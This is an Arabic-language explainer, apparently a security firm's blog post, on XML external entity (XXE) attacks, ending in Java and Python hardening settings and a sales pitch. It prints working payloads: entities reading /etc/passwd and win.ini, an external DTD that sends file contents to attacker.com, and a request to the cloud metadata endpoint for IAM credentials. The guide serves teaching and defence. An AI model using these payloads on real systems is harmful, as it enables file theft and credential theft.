ثغرة الكيانات الخارجية (XXE) في XML: التقنيات العمياء والمبنية على الأخطاء
يعد حقن الكيانات الخارجية (XXE) في XML ثغرة אمنية خطيرة في تطبيقات الويب تسمح للمهاجم بالتدخل في معالجة بيانات XML بواسطة التطبيق. نظرًا لتجاهلها غالبًا أثناء التقييمات الأمنية الأولية، يمكن أن تؤدي ثغرات XXE حتمًا إلى تضمين الملفات المحلية (LFI)، تزوير الطلبات من جانب الخادم (SSRF)، الحرمان من الخدمة (DoS)، واستخراج البيانات بشدة.
في هذا الكتيب الفني الشامل، يقوم فريق Cayvora Security بتفكيك آليات XXE، وتوضيح تقنيات الاستغلال العمياء، وتوفير إرشادات قاطعة لتأمين أنظمة معالجة XML في عام 2025.
فهم كيانات XML
تعمل "الكيانات" بصورة تشبه المتغيرات. داخل Document Type Definition (DTD)، يمكنك إعلان الكيانات الخارجية، والتي تقوم باستخراج المحتوى من مسار ملف محلي أو URL شبكة.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&ext;</productId></stockCheck>
عندما يقوم معالج XML بتشغيل هذه الحمولة، يقوم بجلب محتويات /etc/passwd.
الاستغلال الحقيقي: XXE في النطاق
يقوم الخادم بالمعالجة وإرجاع البيانات بصورة مرئية في استجابة HTTP.
طلب المهاجم:
POST /api/check-stock HTTP/1.1
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///windows/win.ini"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
يقرأ الخادم الملف ويكشف عنه.
التقنيات المتقدمة: XXE الأعمى
غالبًا ما يعالج التطبيق مستند XML ولكنه لا يعكس أي جزء منه. يتطلب استغلال XXE الأعمى تفاعلات خارج النطاق (OAST) أو استخراجًا قائمًا على الأخطاء.
1. XXE خارج النطاق (OAST)
يستضيف المهاجم ملف DTD خارجيًا:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;
يجلب الخادم DTD الخبيث، ويقرأ /etc/hostname، ويرسل طلب HTTP إلى خادم المهاجم.
2. الاعتماد على الأخطاء
يستخدم المهاجم رسالة الخطأ الناتجة عن تعمد إنشاء خطأ برمجي (مثل عدم وجود المسار) لسحب محتوى الملفات الحساسة المُتضمنة داخل مسار الخطأ.
من XXE إلى SSRF
يمثل XXE ناقلًا قويًا جدًا لهجمات تزوير الطلب من جانب الخادم (SSRF). بدلاً من الإشارة إلى ملف محلي، يشير المهاجم إلى مقطع شبكة داخلي، مثل AWS IMDS لسرقة أوراق اعتماد IAM.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
يرجى الاطلاع على دليل استغلال SSRF في مسارات السحابة الالكترونية.
منع التهديدات والإعداد الآمن
الطريقة الوحيدة المؤكدة لمنع هذه الثغرات هي تعطيل DTDs تمامًا داخل معالج XML الخاص بتطبيقك.
في لغة Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
في لغة Python:
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
الخاتمة
يجب على فرق الأمن التأكد من ترقية المكتبات الحديثة، وتقوية الإعدادات الافتراضية لمنع تحليل الكيانات الخارجية تماما.
هل أنظمة XML لديك آمنة؟
تجنب انهيار البنية التحتية لديك من خلال اختراق الشبكة الداخلية، تواصل مع فريق Cayvora لجدولة اختبار أمني شامل.
📱 تواصل معنا عبر واتس اب